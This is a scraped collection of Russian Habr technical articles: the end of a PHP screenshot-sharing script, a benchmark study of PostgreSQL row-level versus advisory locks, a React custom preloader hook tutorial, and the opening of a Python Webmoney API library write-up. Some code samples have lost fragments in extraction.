$url = 'http://' . getEnv('HTTP_HOST')
. str_replace(basename(__FILE__), '', $_SERVER['SCRIPT_NAME'])
. $folder . '/';
$src = $cd . $file;
$link = $url . basename($dest);
if (file_exists($src))
{
rename($src, $dest);
}
}
}
// Чистка старых скриншотов
$dest = $cd . $folder . '/';
$files = scandir($dest);
foreach ($files as $file)
{
if ($file[0] == '.')
continue;
$file = $dest . $file;
if (time() - filectime($file) $lifetime)
unlink($file);
}
?>
if ($link):
//header('Location: ' . $link);
//exit();
?
= $link; ?
// main.js
var client = new ZeroClipboard( document.getElementById("copy-button") );
client.on( "ready", function( readyEvent ) {
client.on( "aftercopy", function( event ) {
document.location.href = event.data["text/plain"];
});
});
endif; ?
```
**Появился один большущий нюанс.**
После переименования файла ссылка в буфере обмена будет кривой, на кодировщик имен. Пришлось добавить большую кнопку, которая браузерными средствами копирует новую ссылку на картинку и открывает ее в браузере. Но с этим уж как-то придется мириться. Помогла библиотека [zeroclipboard](http://zeroclipboard.org/).
В итоге, жмем Ctrl+PrtSc, выделяем нужную область, получаем в браузере кнопку для копирования в буфер обмена ссылки
И идеальную ссылку на скриншот без ничего лишнего: [www.grinkevich.by/\_ss/files/9bf30316a61ee1f8caf078ebac1f7dda.png](http://www.grinkevich.by/_ss/files/9bf30316a61ee1f8caf078ebac1f7dda.png) который удалится через 7 дней. Надеюсь, кому-нибудь еще будет полезно такое решение.
Возможно, кому-то это будет смешно, а кому-то и совсем грустно от таких извращений. Но кому как, да и программка немного платная и здесь тоже кому как :)
Берегите свои скриншоты и с пятницей всех! | https://habr.com/ru/post/233491/ | null | ru | null |
# Хорошие новости для тех, кто всё ещё использует row-level локи в PostgreSQL
Привет, меня зовут Дима, я работаю в Ozon в небольшой команде, которая предоставляет разработчикам PostgreSQL as a Service. Мы сопровождаем тысячи кластеров, поэтому разработчики, в основном, сами отвечают за перфоманс PostgreSQL. Иногда они приходят к нам за помощью с неочевидными проблемами. Одной из моих самых нелюбимых фичей (из-за реализации) являются row-level локи, и поэтому я и коллеги часто подозревают в непредсказуемом поведении сервера ДБ.
В интернетах я встречал статьи – как [использовать advisory](https://www.depesz.com/tag/advisory-locks/) и об [их проблемах](https://habr.com/ru/company/tensor/blog/488024/). Но мало где видел информацию, почему их нужно использовать. Например, [здесь рассказано о проблемах for shared](https://pgconf.ru/media/2019/02/11/Korotkov.pdf); или вот ещё в рассылках писали о [неэффективном SLRU](https://www.postgresql-archive.org/MultiXact-SLRU-buffers-configuration-td6136427.html).
Я всегда пытался объяснить в первую очередь себе, почему так не люблю row-level локи. В какой-то момент сделал очередную попытку разобраться – результаты собрал в эту заметку.
Дисклеймер (он же tldr): в статье я не буду погружаться в подробности реализации, но постараюсь с помощью простых инструментов показать оверхед, создаваемый row-level локами.
А зачем нужны эти локи?
-----------------------
Стандартный уровень изоляции в PostgreSQL — read committed. Это означает, что каждый новый запущенный запрос в транзакции видит свой слепок данных. В том числе видит данные, которые были закомиченны конкурирующими запросами между тем, когда закончился предыдущий запрос и сервер начал обрабатывать новый запрос в рамках одной транзакции. В этом временном интервале может произойти классическая ситуация гонок, которая может повлечь за собой логическую коррупцию данных, которую программисты решают при помощи row-level локов.
Стенд
-----
Ничего примечательного, возьмем небольшую рабочую лошадку: тестирование мы будем проводить на 4-ядерной виртуальной машине (Xeon Gold 6240R) с 4 ГБ памяти. Возьмём PostgreSQL версии 12; из основных настроек — shared\_buffers 1Gb, реплика не подключена. Данные заполняются при помощи pgbench, коэффициент масштабирования (--scale) 100.
For Share
---------
Share-lock используется для того, чтобы прочитать данные, которые после взятия лока никто не может изменить. То есть если клиенты соблюдают правила игры и берут share/exclusive lock перед тем, как прочитать или изменить данные, то взятие share-лока гарантирует, что никто не сможет изменить данные.
Давайте проведём простой эксперимент: допустим, есть такой pgbench-скрипт, который берёт share-лок на одну тысячу записей:
```
\set r random(1, 500)
do $$
declare
counter integer := 0;
begin
while counter < 1000 loop
perform * from pgbench_accounts where aid = (:r+counter) for share;
counter := counter + 1;
end loop;
end$$;
```
Запустим этот скрипт в одного клиента:
```
$ pgbench -f script-row-level-share.sql -c 1 -j 1 -T 60
...
number of transactions actually processed: 2185
latency average = 27.463 ms
tps = 36.410041 (excluding connections establishing)
```
Давайте посмотрим, что происходит в wal:
```
$ pg_waldump --bkp-details pg_wal/0000000100000008000000DB
...
rmgr: Heap len (rec/tot): 54/ 54, tx: 2270545, lsn: 8/DBFFFF10, prev 8/DBFFFED8, desc: LOCK off 10: xid 2270545: flags 0x00 LOCK_ONLY EXCL_LOCK KEYSHR_LOCK
blkref #0: rel 1663/13432/17068 fork main blk 158676
...
```
Видим, что информация о row-level локах хранится прямо в heap (в данных). В xmax записывается xid (номер транзакции, который взял лок), но с флагом HEAP\_XMAX\_LOCK\_ONLY, который **не** помечает строку на удаление, а носит информативный характер.
Данные в heap PostgreSQL пишет в связи с тем, что локов может быть много, а оперативной памяти, где можно было бы хранить эти локи — ограниченный объём. Как вы понимаете, запись на страницу не бесплатная и влечёт за собой пересчёт checksums и запись wal и всей грязной страницы на диск. Это создаёт дополнительную нагрузку на CPU и IO.
Но самое интересное происходит когда клиентов, которые конкурируют за row-level, становится больше, чем один. Запустим тот же скрипт в несколько клиентов:
```
rmgr: Heap len (rec/tot): 54/ 54, tx: 4076612, lsn: 23/A4FFF2C8, prev 23/A4FFF290, desc: LOCK off 51: xid 135360939: flags 0x00 IS_MULTI LOCK_ONLY EXCL_LOCK KEYSHR_LOCK
blkref #0: rel 1663/13432/41538 fork main blk 158678
rmgr: MultiXact len (rec/tot): 70/ 70, tx: 4076618, lsn: 23/A4FFF300, prev 23/A4FFF2C8, desc: CREATE_ID 135360941 offset 2274305627 nmembers 4: 4076614 (sh) 4076616 (sh) 4076617 (sh) 4076618 (sh)
rmgr: Heap len (rec/tot): 54/ 54, tx: 4076618, lsn: 23/A4FFF348, prev 23/A4FFF300, desc: LOCK off 1: xid 135360941: flags 0x00 IS_MULTI LOCK_ONLY EXCL_LOCK KEYSHR_LOCK
blkref #0: rel 1663/13432/41538 fork main blk 158671
```
К flags добавилось IS\_MULTI, который означает, что лок взяла не одна транзакция, а группа, объединённая в мультитранзакцию. Это не удивительно, места на странице мало, разместить все возможные счётчики транзакций в странице невозможно.
Поэтому кроме обычных xid PostgreSQL начнёт выписывать новые MultiXact транзакции. По сути мы получим ещё один счётчик, у которого есть wraparound, и он также должен обслуживаться с помощью vacuum. Соответствие между mXid и xid хранятся на диске в директории pg\_multixact:
```
$ du -hs ./pg_multixact/*
5.1G ./pg_multixact/members
221M ./pg_multixact/offsets
```
Подробнее про MultiXact может рассказать [документация в коде](https://github.com/postgres/postgres/blob/REL_12_STABLE/src/backend/access/heap/README.tuplock).
For Update
----------
Это эксклюзивный lock, который мы используем для того, чтобы изменить данные. Чаще всего разработчику необходимо не for share, а более простой for update — эксклюзивный лок, который конфликтует со всем остальными row-level локами.
Казалось бы, взятие данного лока — это просто запись в heap бита информации о том, что транзакция взяла multi-lock. Мы уже смирились с тем, что shared тоже пишет на диск; согласны с этим небольшим пенальти на нагрузку. Давайте посмотрим, что ещё интересного можно найти. Модифицируем pgbench-скрипт для for update, используя распределение [zipfian](https://www.postgresql.org/docs/11/pgbench.html).
```
\set aid random_zipfian(1, 100, 1.1)
begin;
select :aid from pgbench_accounts where aid = :aid for update;
update pgbench_accounts set abalance = abalance + 1 where aid = :aid;
update pgbench_accounts set abalance = abalance * 2 where aid = :aid;
update pgbench_accounts set abalance = abalance - 2 where aid = :aid;
end;
```
Запустим скрипт на 10 минут на 90 клиентов:
```
$ pgbench -f ~/script-for-update.sql -P 1 -T 600 -j 2 -c 90 --report-latencies
...
statement latencies in milliseconds:
0.023 \set aid random_zipfian(1, 100, 1.1)
0.287 begin;
66.490 select :aid from pgbench_accounts where aid = :aid for update;
0.515 update pgbench_accounts set abalance = abalance + 1 where aid = :aid;
0.460 update pgbench_accounts set abalance = abalance * 2 where aid = :aid;
0.439 update pgbench_accounts set abalance = abalance - 2 where aid = :aid;
1.403 end;
```
Значение в 66ms на ожидание, взятие и освобождение лока — это много или мало? Давайте сравним это с advisory локом:
```
\set aid random_zipfian(1, 100, 1.1)
begin;
select pg_advisory_xact_lock(:aid);
update pgbench_accounts set abalance = abalance + 1 where aid = :aid;
update pgbench_accounts set abalance = abalance * 2 where aid = :aid;
update pgbench_accounts set abalance = abalance - 2 where aid = :aid;
end;
```
Запустим в тех же самых условиях:
```
$ pgbench -f ~/script-advisory.sql -P 1 -T 600 -j 2 -c 90 --report-latencies
...
statement latencies in milliseconds:
0.013 \set aid random_zipfian(1, 100, 1.1)
0.131 begin;
35.536 select pg_advisory_xact_lock(:aid);
0.257 update pgbench_accounts set abalance = abalance + 1 where aid = :aid;
0.213 update pgbench_accounts set abalance = abalance * 2 where aid = :aid;
0.200 update pgbench_accounts set abalance = abalance - 2 where aid = :aid;
0.892 end;
```
Результат лучше почти в два раза! Почему for update оказался настолько медленнее, чем advisory в данном тесте? Несмотря на то, что for update так же как и share lock “пачкает” страницу с данными, указанный факт не мог дать такого эффекта. Посмотрите, как делается HOT-апдейт в соседних строчках — оверхед не более 0.2-0.3 ms.
Не стоит считать, что for update просто медленнее в два раза. Это лишь означает, что на конкуренцию между бакендами за лок уходило не более 30ms, а ещё 30ms — на явные внутренние локи.
Давайте выясним это и заглянем в [flamegraph](http://www.brendangregg.com/flamegraphs.html):
```
$ perf record -F 99 -a -g -- sleep 60
$ perf script > out.perf
$ ./stackcollapse-perf.pl out.perf > out.folded
$ ./flamegraph.pl out.kern_folded > kernel.svg
```
на что тратится время в случае с for updateКогда серверный процесс, обслуживающий запрос пользователя, работает с MultiXact — к сожалению, ему приходится обращаться в горячую, пока плохо оптимизированную систему дополнительных (multiXact) счётчиков транзакций. Такую, что даже снятие лока UnlockTable занимает ощутимое время (судя по perf в данном тесте, на это уходит примерно 10ms).
Advisory лок тоже пользуется примитивами LockAcquireExtended, но для чтения консистентных данных ему не приходиться брать такое количество локов. Как мы видим, это положительно сказывается на производительности.
Зависимость от количества клиентов
----------------------------------
Давайте установим max\_connection в 300 и посмотрим, как будет изменяться производительность в зависимости от количества клиентов.
Как меняется производительность в зависимости от количества клиентовКак мы видим, насыщение на стенде происходит в районе десяти клиентов, но производительность for update падает значительно быстрее, чем advisory.
Как row-level влияет на производительность других запросов
----------------------------------------------------------
Давайте измерим производительность скрипта:
```
\set aid random_zipfian(1, 100, 1.1)
begin;
update pgbench_accounts set abalance = abalance + 0 where aid = :aid;
end;
```
И одновременно будем запустим фоновый for update и advisory локи в десять клиентов.
Для advisory:
```
transaction type: script-hot-update.sql
...
number of clients: 40
number of threads: 2
duration: 600 s
...
tps = 3446.137796 (including connections establishing)
...
```
Для for update:
```
transaction type: script-hot-update.sql
...
number of clients: 40
number of threads: 2
duration: 600 s
...
tps = 2534.646948 (including connections establishing)
...
```
Таким образом, мы видим, что обычные запросы, которые никоим образом не работают с for update — получают пенальти по производительности (в полтора раза), только из-за факта присутствия IS\_MULTI в данных.
Как использовать advisory вместо row-level
------------------------------------------
В качестве замены row-level локов предлагается использовать advisory локи, которые не связаны с данными, а по сути представляют из себя мьютекс в разделяемой памяти. Это является одновременным их плюсом и минусом. Минус заключается в том, что количество одновременных advisory-локов ограничено значением не менее, чем max\_connection\*max\_lock\_per\_transaction. Данная область памяти выделяется при старте PostgreSQL вне зависимости от того, будете ли вы использовать ее или нет. В случае с max\_connection = 100 и остальными параметрами по умолчанию, у вас будет не менее 6k локов одновременно, что более, чем хватает для общего использования.
Рекомендуется использовать функции advisory\_xact. Они освобождаются автоматически после окончания транзакции, их можно брать несколько раз и они совместимы с pgbouncer в режиме transaction-pool.
Каждый advisory берётся на всю базу, поэтому возможны конфликты. К счастью, advisory может принимать не только один идентификатор, а два. Чтобы не было пересечений между локами на разные таблицы с одинаковым id, можно использовать oid-таблицы в качестве первого параметра:
```
select pg_try_advisory_lock('table_1'::regclass::oid, id)
```
Блокировать можно только int-значения. Если у вас ключ текстовое значение, вы можете превратить его в int, используя конвертацию в md5:
```
create or replace function obtain_lock_id(id text) returns void as $$
select pg_advisory_xact_lock( ('x'||substr(md5($1),1,16))::bit(64)::bigint )
-- или использовать незадокументированную функцию hashtext:
-- select pg_advisory_xact_lock( hashtext($1) );
$$ language 'sql';
```
Стоит предупредить о некоторых особенностях планирования запросов с advisory\_locks, в случае с row-level локами фактически лок происходит **в вершине плана**, после фильтрации:
```
explain select id from test where id % 3 = 0 for update ;
QUERY PLAN
------------------------------------------------------------
LockRows (cost=0.00..29.11 rows=6 width=10)
-> Seq Scan on test (cost=0.00..29.05 rows=6 width=10)
Filter: ((id % 3) = 0)
(3 rows)
```
В случае с advisory лок берётся **при фильтрации**. Записи будут заблокированы, но клиенту вернётся лишь часть результата:
```
explain select id from test where id % 3 = 0 and pg_try_advisory_xact_lock(id);
QUERY PLAN
------------------------------------------------------------------------
Seq Scan on test (cost=0.00..35.40 rows=2 width=4)
Filter: (pg_try_advisory_xact_lock((id)::bigint) AND ((id % 3) = 0))
(2 rows)
```
Сравнительная таблица:
| | |
| --- | --- |
| **row-level** | **advisory** |
| for update | pg\_advisory\_xact\_lock(int, (int)) |
| for update skip locked | pg\_try\_advisory\_xact\_lock(int, (int)) |
| for update nowait | pg\_try\_advisory\_xact\_lock(int, (int)) |
| for share | pg\_advisory\_xact\_lock\_shared(int, (int)) |
Row-level VS Advisory: выжимка
------------------------------
Row-level локи:
* вызывают перезапись страницы, даже for share;
* используют MultiXact, которые по факту представляют из себя ещё один счётчик, wraparound которого обслуживает vacuum наравне с обычным счетчиком транзакций;
* добавляют ещё латенси из-за обслуживания связки "MultiXact" <-> "массив обычных xid" и этот вклад существенный – может составлять до x4 и зависит от данных, железа и параметров использования;
* как мы увидели, сам факт использования MultiXact вызывает дополнительный оверхед при манипуляции с данными, с которыми работают row-level локи;
Advisory локи:
* не являются полной заменой row-level локов и потребуют изменения вашего кода;
* переход на advisory локи увеличат производительность вашего приложения.
Что осталось за рамками статьи
------------------------------
В этот раз мы не успели поговорить о autovacuum, который приходит в горячую область данных, где активно используются row-level локи. Чтобы поговорить об этом, по-хорошему нужно бы воспроизвести ситуацию, с которой приходилось встречаться на практике, когда резко возрастает нагрузка на сервер – но это довольно непростой кейс для воспроизведения.
По опыту могу сказать, что даже переход с row-level на двойной лок "advisory + row-level" позволяет сгладить данный эффект. Графики и пруфы не смогу показать: всё это происходило в стародавние времена, когда вышел PostgreSQL 10.2. Предлагаю вам поверить мне на слово :)
Ещё в случае с row-level есть вопросы ко времени восстановления после сбоя. Возможно, это станет темой для одной из следующих статей.
В конце хочу пожелать всем удачи и высокого аптайма! Давайте исследовать и обращать внимание разработчиков на проблемы в тех инструментах, которыми пользуемся – так победим!
UPD
---
Сразу же после статьи мы списались с [Андреем Бородиным](https://www.highload.ru/moscow/2019/authors/2147) из yandex-team который расказал о том, что они тоже испытывают проблему когда multixact на ваниле "отваливаются внезапно, больно и на долго". С их стороны они хотят помочь сообществу и предлагают [патчи](https://www.postgresql.org/message-id/flat/494C5E7F-E410-48FA-A93E-F7723D859561%40yandex-team.ru#18c79477bf7fc44a3ac3d1ce55e4c169) которые я протестировал.
Тестирование патчей производилось на 96-ядерной машине (Xeon(R) Gold 6240R) c 0.4TB RAM. PostgreSQL версии 14-beta1 был собран CFLAGS -O2 с патчами и без. PGDATA был расположен в tmpfs.
Патчи предоставляют возможность регулирования через GUC-параметры размеров буферов multixact\_members\_buffers и multixact\_offsets\_buffers. В тестах я их в пропорции 1:2 соответственно.
Показаны усредненые результаты 3 измерений длительностью по 1 часу каждый для скрипта FOR UPDATE:
| | |
| --- | --- |
| **Настройка** | **Транзакций в секунду** |
| multixact\_members\_buffers 64Kb | 693.2 |
| multixact\_members\_buffers 128Kb | 691.4 |
| **multixact\_members\_buffers 192Kb** | **696.3** |
| multixact\_members\_buffers 256Kb | 694.4 |
| multixact\_members\_buffers 320Kb | 692.3 |
| multixact\_members\_buffers 448Kb | 693.7 |
| multixact\_members\_buffers 512Kb | 693.3 |
| **vanilla** | **676.1** |
Как мы видим из результата измерений, что изменение буфера приводит к положительным результатам (пусть и небольшим) на конкретных синтетических тестах. Как мне кажется еще пара GUC позволит подобрать необходимое оптимальное значение для разных типов нагрузки. С другой стороны, сообщество наверное врядли примет эти патчи в апстрим, в связи с усложнением кода и конфигурации. | https://habr.com/ru/post/555358/ | null | ru | null |
# Эпическая сага про маленький custom hook для React (генераторы, sagas, rxjs)
[Часть 2. Генераторы](https://habr.com/ru/post/532484/)
[Часть 3. Redux-saga](https://habr.com/ru/post/532590/)
Прелюдия
--------
Стояла задача реализовать прелоадер с обратным отсчетом на реакте. Т.к. гуглить не умею и очень люблю лепить велосипеды (хороший двухместный получился из двух велосипедов "Украина"), то я был обречен глубоко копать на полях асинхреньщины. Забегу наперёд и скажу, что реализовал этот прелоадер с помощью генераторов, redux-saga, rxjs. Очень интересный опыт и хотелось бы поделиться, учитывая, что в процессе разбирательств, кроме статей, описывающих очевидные вещи, и обрывков сугубо специфической информации на stackoverflow, не находил.
Итак: часть первая - создание кастомного хука.
Структура прелоадера
--------------------
В качестве шкалы индикатора загрузки, я выбрал количество картинок на сайте (можно выбирать и другие ресурсы), т.к. в моём случае это были самые тяжёлые ресурсы страницы.
Т.к. сделать это нужно было в реакте, то конечно же оформил это в виде кастомного хука и назвал его usePreloader.
Код самого прелоадера
```
import React from "react";
export default function Preloader() {
return (
0%
);
}
```
Стили прелоадера
```
.App {
font-family: sans-serif;
text-align: center;
}
.preloader__wrapper {
position: fixed;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #ffffff;
z-index: 2000;
}
.preloader {
position: relative;
width: 18.75rem;
height: 18.75rem;
}
.preloader svg {
width: 18.75rem;
height: 18.75rem;
-webkit-animation: spin 4s infinite linear;
animation: spin 4s infinite linear;
}
.preloader__counter {
margin-top: 1.625rem;
padding-left: 1rem;
font-family: sans-serif;
font-size: 3.125rem;
line-height: 1;
color: #6cae30;
}
@media (max-width: 900px) {
.preloader {
width: 6.25rem;
height: 6.25rem;
}
.preloader svg {
width: 6.25rem;
height: 6.25rem;
}
.preloader__counter {
margin-top: 0.75rem;
padding-left: 0.5rem;
font-size: 2.125rem;
}
}
@-moz-keyframes spin {
from {
-moz-transform: rotate(0deg);
}
to {
-moz-transform: rotate(360deg);
}
}
@-webkit-keyframes spin {
from {
-webkit-transform: rotate(0deg);
}
to {
-webkit-transform: rotate(360deg);
}
}
@keyframes spin {
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
```
Реализация хука
---------------
Логикой хука является поиск всех тэгов ![]() на странице и подключение обработчиков на события load и error. Делается это с помощью следующего кода
```
const updateCounter = () => {
dispatch({
type: ACTIONS.SET_COUNTER,
data: state.counter + state.counterStep
});
};
const checkImageLoading = (url) => {
const imageChecker = new Image();
imageChecker.addEventListener("load", updateCounter);
imageChecker.addEventListener("error", updateCounter);
imageChecker.src = url;
};
```
У хука будет состояние (state), в котором будет хранится шаг индикатора и текущее состояние индикатора. В данной (первой) части прелоадер реализован только с помощью хуков react, но в нескольких вариантах. Подключать redux для хранения состояния не будем, т.к. это кастомный хук и в будущем хотелось бы его переиспользовать.
Исходный код state.js
```
export const SET_COUNTER = "SET_COUNTER";
export const SET_COUNTER_STEP = "SET_COUNTER_STEP";
export const initialState = {
counter: 0,
counterStep: 0,
};
export const reducer = (state, action) => {
switch (action.type) {
case SET_COUNTER:
return { ...state, counter: action.data };
case SET_COUNTER_STEP:
return { ...state, counterStep: action.data };
default:
throw new Error("This action is not applicable to this component.");
}
};
export const ACTIONS = {
SET_COUNTER,
SET_COUNTER_STEP,
};
```
Вариант 1 (не рабочий, для наглядности). useReducer
---------------------------------------------------
Этот вариант показан для наглядности, чтобы было понятно, в каких случаях без useRef не обойтись. Метод **checkImageLoading** выполняется в цикле при монтировании компонента и поэтому ссылка на state у всех обработчиков будет указывать на начальное состояние.
Исходный код usePreloader.js
```
import { useReducer, useEffect } from "react";
import { reducer, initialState, ACTIONS } from "./state";
const PRELOADER_SELECTOR = ".preloader__wrapper";
const PRELOADER_COUNTER_SELECTOR = ".preloader__counter";
const usePreloader = () => {
const [state, dispatch] = useReducer(reducer, initialState);
const preloaderEl = document.querySelector(PRELOADER_SELECTOR);
const counterEl = document.querySelector(PRELOADER_COUNTER_SELECTOR);
const updateCounter = () => {
dispatch({
type: ACTIONS.SET_COUNTER,
data: state.counter + state.counterStep
});
};
const checkImageLoading = (url) => {
const imageChecker = new Image();
imageChecker.addEventListener("load", updateCounter);
imageChecker.addEventListener("error", updateCounter);
imageChecker.src = url;
};
useEffect(() => {
const imgArray = document.querySelectorAll("img");
if (imgArray.length > 0) {
dispatch({
type: ACTIONS.SET_COUNTER_STEP,
data: Math.floor(100 / imgArray.length) + 1
});
imgArray.forEach((img) => {
checkImageLoading(img.src);
});
}
}, []);
useEffect(() => {
if (counterEl) {
state.counter < 100
? (counterEl.innerHTML = `${state.counter}%`)
: hidePreloader(preloaderEl);
}
}, [state]);
return;
};
const hidePreloader = (preloaderEl) => {
preloaderEl.remove();
};
export default usePreloader;
```
Вариант 2. useReducer + useRef
------------------------------
Объект, создаваемый с помощью useRef существует на протяжении всего существования компонента. В него я буду записывать ссылку на обновленный state и таким образом из колбэков будет доступно актуальное состояние хука.
Для этого нужно создать этот объект:
```
//сохраняю ссылку на state
const stateRef = useRef(state);
```
В колбэке ссылаться на state через свойство current переменной stateRef:
```
const updateCounter = () => {
dispatch({
type: ACTIONS.SET_COUNTER,
data: stateRef.current.counter + stateRef.current.counterStep //данные беру не из state, а из stateRef
});
};
```
Также ссылаюсь на state при обновлении значения индикатора в разметке
```
stateRef.current.counter < 100
? (counterEl.innerHTML = `${stateRef.current.counter}%`) //данные беру не из state, а из stateRef
: hidePreloader(preloaderEl);
```
При каждом обновлении state, нужно обновить ссылку:
```
useEffect(() => {
stateRef.current = state; //при каждом обновлении state, записываю ссылку на обновленный state
...
}, [state]);
```
Исходный код useReducer + useRef
```
import { useReducer, useEffect, useRef } from "react";
import { reducer, initialState, ACTIONS } from "./state";
const PRELOADER_SELECTOR = ".preloader__wrapper";
const PRELOADER_COUNTER_SELECTOR = ".preloader__counter";
const usePreloader = () => {
const [state, dispatch] = useReducer(reducer, initialState);
//сохраняю ссылку на state
const stateRef = useRef(state);
const preloaderEl = document.querySelector(PRELOADER_SELECTOR);
const counterEl = document.querySelector(PRELOADER_COUNTER_SELECTOR);
const updateCounter = () => {
dispatch({
type: ACTIONS.SET_COUNTER,
data: stateRef.current.counter + stateRef.current.counterStep //данные беру не из state, а из stateRef
});
};
const checkImageLoading = (url) => {
const imageChecker = new Image();
imageChecker.addEventListener("load", updateCounter);
imageChecker.addEventListener("error", updateCounter);
imageChecker.src = url;
};
useEffect(() => {
const imgArray = document.querySelectorAll("img");
if (imgArray.length > 0) {
dispatch({
type: ACTIONS.SET_COUNTER_STEP,
data: Math.floor(100 / imgArray.length) + 1
});
imgArray.forEach((img) => {
checkImageLoading(img.src);
});
}
}, []);
useEffect(() => {
stateRef.current = state; //при каждом обновлении state, записываю ссылку на обновленный state
if (counterEl) {
stateRef.current.counter < 100
? (counterEl.innerHTML = `${stateRef.current.counter}%`) //данные беру не из state, а из stateRef
: hidePreloader(preloaderEl);
}
}, [state]);
return;
};
const hidePreloader = (preloaderEl) => {
preloaderEl.remove();
};
export default usePreloader;
```
Но тут появляются нюансы. Если принудительно ограничить скорость интернета (закладка network в devtools), то всё работает нормально. А если интернет скоростной, то прелоадер зависает на определенном значении. Т.е. хук
```
useEffect(() => {
...
}, [state]);
```
не отрабатывает каждый раз при изменении state. А соответственно ссылка stateRef.current не обновляется и остаётся неактуальной. Это происходит потому что реакт оптимизирует отрисовку.
Чтобы решить эту проблему, вместо useEffect нужно использовать useLayoutEffect:
```
useLayoutEffect(() => {
stateRef.current = state;
if (counterEl) {
stateRef.current.counter < 100
? (counterEl.innerHTML = `${stateRef.current.counter}%`)
: hidePreloader(preloaderEl);
}
}, [state]);
```
После этого прелоадер стал работать стабильно.
[useEffect](https://ru.reactjs.org/docs/hooks-reference.html#useeffect) - выполняется асинхронно. Т.е. пока он выполнится - state может поменяться несколько раз.
[useLayoutEffect](https://ru.reactjs.org/docs/hooks-reference.html#uselayouteffect) - выполняется синхронно. Т.е. при каждом изменении состояния компонента этот хук будет выполнен и отрисовка будет произведена.
Практическое отличие я бы сформулировал так: хотите, чтобы компонент перересовывался каждый раз при изменении состояния компонента, используйте useLayoutEffect; если для Вас не важно отображение пошагового состояния, а можно отрендерить последнюю версию состояния - useEffect.
Вариант 3. useState + useRef
----------------------------
Я использовал useReducer, т.к. состояние содержит два значения: шаг счетчика и текущее состояние. Но можно реализовать и с помощью useState. Например состояние couterStep будет реализовано так:
```
const [counterStep, setCounterStep] = useState(0);
const counterStepStateRef = useRef(counterStep);
const setCounterStepState = (data) => {
counterStepStateRef.current = data;
setCounterStep(data);
};
```
Исходный код useState + useRef
```
import { useEffect, useLayoutEffect, useRef, useState } from "react";
const PRELOADER_SELECTOR = ".preloader__wrapper";
const PRELOADER_COUNTER_SELECTOR = ".preloader__counter";
const usePreloader = () => {
const [counter, setCounter] = useState(0);
const counterStateRef = useRef(counter);
const setCounterState = (data) => {
counterStateRef.current = data;
setCounter(data);
};
const [counterStep, setCounterStep] = useState(0);
const counterStepStateRef = useRef(counterStep);
const setCounterStepState = (data) => {
counterStepStateRef.current = data;
setCounterStep(data);
};
const preloaderEl = document.querySelector(PRELOADER_SELECTOR);
const counterEl = document.querySelector(PRELOADER_COUNTER_SELECTOR);
const updateCounter = () => {
setCounterState(counterStateRef.current + counterStepStateRef.current);
};
const checkImageLoading = (url) => {
const imageChecker = new Image();
imageChecker.addEventListener("load", updateCounter);
imageChecker.addEventListener("error", updateCounter);
imageChecker.src = url;
};
useEffect(() => {
const imgArray = document.querySelectorAll("img");
if (imgArray.length > 0) {
setCounterStepState(Math.floor(100 / imgArray.length) + 1);
imgArray.forEach((img) => {
checkImageLoading(img.src);
});
}
}, []);
useLayoutEffect(() => {
if (counterEl) {
counterStateRef.current < 100
? (counterEl.innerHTML = `${counterStateRef.current}%`)
: hidePreloader(preloaderEl);
}
}, [counter, counterStep]);
return;
};
const hidePreloader = (preloaderEl) => {
preloaderEl.remove();
};
export default usePreloader;
```
Основное приложение
-------------------
Для использования в приложении этого хука достаточно вызывать его
```
export default function App() {
usePreloader();
return (
...
);
}
```
Итого:
------
В этой части статьи показано:
* как создать кастомный хук
* как управлять состоянием хука с помощью хуков useReducer и useState
* как использовать useRef для хранения ссылки на состояние
* различие в поведении компонента при использовании хуков useEffect и useLayoutEffect
Ссылка на [песочницу](https://codesandbox.io/s/preloader-tc2h1)
Ссылка на [репозиторий](https://github.com/donrus/use-preloader.git)
На этом можно было бы и закончить, т.к. хук работает. Но этот прелоадер неожиданно оказался отличным примером для работы с потоком событий и их асинхронной обработкой. Поэтому самое интересное начинается в следующей части.
Начнём, а вернее продолжим, [с генераторами...](https://habr.com/ru/post/532484/) | https://habr.com/ru/post/532440/ | null | ru | null |
# Python Webmoney API
Потребовалось мне как то реализовать поддержку Webmoney API ([Документация](https://wiki.webmoney.ru/projects/webmoney/wiki/XML-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81%D1%8B)) в проекте. Библиотек на питоне я не нашел, поэтому решил написать свою.
[Ссылка на репозиторий](https://bitbucket.org/sallyruthstruik/python-webmoney-api)
Итак, есть два варианта запроса к апи вебманей.
* Keeper Classic — каждый запрос подписывается с помощью проги WMSign
* Keeper Light — запросы отправляются через защищенное HTTPS соединение с клиентским сертификатом.
Я рассматриваю только второй вариант. Для запроса потребуется сертификат. Как его получить написано [Здесь](https://wiki.webmoney.ru/projects/webmoney/wiki/%D0%9F%D0%B5%D1%80%D1%81%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D1%81%D0%B5%D1%80%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82). У меня получилось получить сертификат только из Firefox'а, Chrome вообще не поддерживает такую возможность, а Explorer (Windows 8) выдал ошибку. После получения сертификат нужно экспортировать в файл. Какк это сделать написано [Тут](https://wiki.webmoney.ru/projects/webmoney/wiki/%D0%AD%D0%BA%D1%81%D0%BF%D0%BE%D1%80%D1%82_%D0%BA%D0%BB%D1%8E%D1%87%D0%B0_Keeper_Light)
Сертификат экспортируется в pkcs12 файл. Нужно из него получить публичный и приватный ключи. Делается это командами:
```
openssl pkcs12 -in path.p12 -out crt.pem -clcerts -nokeys
openssl pkcs12 -in path.p12 -out key.pem -nocerts -nodes
```
#### Работа с API
Пакет можно установить через pip:
```
pip install webmoney-api
```
После установки импортируем библиотеки
```
from webmoney_api import ApiInterface, WMLightAuthInterface
```
**WMLightAuthInterface** — класс, описывающий аутентификацию через Keeper Light.
**ApiInterface** — класс апи.
Подключаем:
```
>>> api = ApiInterface(WMLightAuthInterface("/home/stas/wmcerts/crt.pem", "/home/stas/wmcerts/key.pem"))
```
При инициализации WMLightAuthInterface, передаем в него пути до наших сгенеренных публичного и приватного ключа
После подключения доступны следующие методы:
x1 — x10 — соответствуют аналогичным интерфейсам вебманей. Параметры передаются поименно в вызываемый метод.
Дополнительно можно передать параметр **reqn** — номер запроса.
Метод делает запрос и возвращает данные в формате:
```
{"retval": ,
"retdesc": ,
"response":
```
где
